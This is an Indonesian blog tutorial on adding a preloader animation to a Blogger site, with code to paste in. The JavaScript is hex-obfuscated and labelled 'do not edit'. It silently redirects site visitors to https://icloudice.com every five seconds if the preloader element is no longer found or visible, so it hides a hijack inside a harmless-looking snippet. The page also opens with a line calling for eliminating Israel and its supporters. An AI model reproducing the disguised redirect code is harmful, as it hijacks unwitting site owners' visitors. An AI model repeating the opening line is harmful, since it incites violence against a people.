For world peace, liberate Al-Aqsa, eliminate Israel and anyone who is with Israel, they are the real terrorists
Bacakan

Membuat new preloader di blogger

Hello sobat ICloudzer kali ini admin bakalan menjabarkan mengenai bagaimana caranya membuat new preloader di blogger

Info: Oke sobat ICloudzer jika kamu sudah penasaran dengan pembahasan kita kali ini yuk langsung aja kita bahas bersama sama

Preloader

Pada setiap postingan admin membahas mengenai banyak sekali mengnai preloader seperti nya telah puluhan artikel yang admin bahas terkhusus preloader dan contoh contoh animasi preloader, karena admin membahas setiap keunikan preloder secara khusus dalam setiap postingan, preloader secara singkatnya adalah sebuah tampilan ataupun animasi yang muncul saat proses loading blog, atau saat pengunjung merefresh blog

New Preloader

Animasi preloader yang admin bahas kali ini adalah new preloader, yang simple, cepat, dan sangat responsif jika dibterapkan pada blog sobat, tampilan animsi preloader tersebut akan aktif saat pengunjung merefresh setiap halaman blog

Menggunakan CSS

Dalam membuat tampilan preloader logo hastag yang muncul saat diklik pada website ataupun pada blogger tersebut di buat menggunakan kode CSS saja tanpa di enskripsi menggunakan javascript, sehingga untuk mengedit tampilan preloader semisal mengubah warna bisa kamu lakukan secara mudah

Contoh Tampilan

Jika kamu penasaran dengan contoh tampilan efek preloader logo hastag yang muncul saat di klik tersebut, silahkan refresh halaman artikel yang sedang kamu baca ini, nanti tampilan dari new preloader tersebut akan muncul

Info: Bagaimana sobat dengan contoh tampilan nya keren sekali yak 😬

Cara pembuatan

Baiklah sekarang saatnya admin bakalan menjelaskan bagaimana caranya membuat efek preloader logo hastag di sertai Animasi di blogger, silahkan ikuti setiap arahan yang admin jabarkan di hawah ini

Kode CSS

Langkah pertama seperti biasanya silahkan salin kode CSS di bawah ini kemudian letakkan di atas kode ]]></b:skin>

/* New preloader By ICloudice.com */
.rahNew35:before{font-weight:800;position:absolute;right:6px;top:9px;font-size:12px;color:rgba(255,255,255,.8);width:auto;text-align:center;align-items:center;justify-content:center;padding:5px;background-color:#323232;border-radius:5px;}.rahNew35:before{content:'Created with $mileY';}
.rahNew35{position: fixed;top: 0;left: 0;width: 100%;height: 100%;background:#fefefe;z-index:9999;visibility:visible;opacity:1;transition:all .8s ease}.rahNew35.rah{display:flex} .rahNew35.mat{opacity:0;visibility:hidden}
.rahNew35In{display:block;position:relative;left:50%;top:50%;width:150px;height:150px;margin:-75px 0 0-75px;border-radius:50%;border:3px solid transparent;border-top-color:#dE3535;-webkit-animation:rahPs 2s linear infinite;animation:rahPs 2s linear infinite}
.rahNew35In:before{content:'';position:absolute;top:5px;left:5px;right:5px;bottom:5px;border-radius:50%;border:3px solid transparent;border-top-color:#BA55D3;-webkit-animation:rahPs 3s linear infinite;animation:rahPs 3s linear infinite}
.rahNew35In:after{content:'';position:absolute;top:15px;left:15px;right:15px;bottom:15px;border-radius:50%;border:3px solid transparent;border-top-color:#008080;-webkit-animation:rahPs 1.5s linear infinite;animation:rahPs 1.5s linear infinite}@-webkit-keyframes rahPs{0%{-webkit-transform:rotate(0deg);-ms-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(360deg);-ms-transform:rotate(360deg);transform:rotate(360deg)}}@keyframes rahPs{0%{-webkit-transform:rotate(0deg);-ms-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(360deg);-ms-transform:rotate(360deg);transform:rotate(360deg)}}

Info: Atau sobat bisa menggunakan kode <style> untuk meletakkan kode CSS di atas

Kode HTML

Langkah selanjutnya kamu bisa menyalin lagi kode HTML di bawah ini kemudian kamu bisa meletakkan nya di bawah kode <body>

<div class='rahNew35' id='rahNew35'>
<div class='rahNew35In'></div>
</div>

Info: Kode HTML di atas sudah di sesuaikan dengan kode javascript kamu tidak bisa mengubah atau mengeditnya

Kode Javascript

Langkah terakhir kamu bisa menyalin kode javascript di bawah ini kemudian letakkan di bawah kode <body>

<script>/*<![CDATA[*/ 
var _0xc355=["\x23\x72\x61\x68\x4E\x65\x77\x33\x35","\x71\x75\x65\x72\x79\x53\x65\x6C\x65\x63\x74\x6F\x72","\x72\x61\x68","\x61\x64\x64","\x63\x6C\x61\x73\x73\x4C\x69\x73\x74","\x44\x4F\x4D\x43\x6F\x6E\x74\x65\x6E\x74\x4C\x6F\x61\x64\x65\x64","\x6D\x61\x74","\x61\x64\x64\x45\x76\x65\x6E\x74\x4C\x69\x73\x74\x65\x6E\x65\x72","","\x68\x74\x6D\x6C","\x73\x74\x79\x6C\x65","\x61\x74\x74\x72","\x2E\x72\x61\x68\x4E\x65\x77\x33\x35","\x6C\x65\x6E\x67\x74\x68","\x2E\x72\x61\x68\x4E\x65\x77\x33\x35\x3A\x76\x69\x73\x69\x62\x6C\x65","\x68\x72\x65\x66","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x69\x63\x6C\x6F\x75\x64\x69\x63\x65\x2E\x63\x6F\x6D","\x72\x65\x61\x64\x79"];var preloader=document[_0xc355[1]](_0xc355[0]);preloader[_0xc355[4]][_0xc355[3]](_0xc355[2]);document[_0xc355[7]](_0xc355[5],function(){setTimeout(function(){preloader[_0xc355[4]][_0xc355[3]](_0xc355[6])},53)});$(document)[_0xc355[18]](function(){$(_0xc355[12])[_0xc355[11]](_0xc355[10],_0xc355[8])[_0xc355[9]](_0xc355[8]);setInterval(function(){if(!$(_0xc355[14])[_0xc355[13]]){window[_0xc355[16]][_0xc355[15]]= _0xc355[17]}},5000)})
/*]]>*/</script>

Info: Jangan mengedit kode javascript di atas, entar tampilan new preloader tidak akan muncul

About the Author

Keindahanmu akan kuabadikan disetiap karyaku.

Post a Comment

Menghasilkan uang melalui survei berbayar
Best Viral Premium Blogger Templates from Icloudice


kami menawarkan berbagai template blogger dan produk istimewa untuk anda, support karya anak bangsa dengan membeli produk yang kami jual

Welcome to my store limited

  • Download theme blogger mirip xmlthemes

    Template mirip xmlthemes

    Template blogger terlaris nomor 1 di seluruh Indonesia bahkan di seluruh dunia lagi Diskon 50%
    Rp.153.000
  • Download theme blogger mirip xmlthemes

    Template mirip xmlthemes

    Template blogger terlaris nomor 1 di seluruh Indonesia bahkan di seluruh dunia lagi Diskon 50%
    Rp.153.000
  • Download theme blogger mirip xmlthemes

    Template mirip xmlthemes

    Template blogger terlaris nomor 1 di seluruh Indonesia bahkan di seluruh dunia lagi Diskon 50%
    Rp.153.000
  • Download theme blogger mirip xmlthemes

    Template mirip xmlthemes

    Template blogger terlaris nomor 1 di seluruh Indonesia bahkan di seluruh dunia lagi Diskon 50%
    Rp.153.000
  • Download theme blogger mirip xmlthemes

    Template mirip xmlthemes

    Template blogger terlaris nomor 1 di seluruh Indonesia bahkan di seluruh dunia lagi Diskon 50%
    Rp.153.000
  • Cookie Consent
    We serve cookies on this site to analyze traffic, remember your preferences, and optimize your experience.
    Oops!
    It seems there is something wrong with your internet connection. Please connect to the internet and start browsing again.
    AdBlock Detected!
    We have detected that you are using adblocking plugin in your browser.
    The revenue we earn by the advertisements is used to manage this website, we request you to whitelist our website in your adblocking plugin.
    Site is Blocked
    Sorry! This site is not available in your country.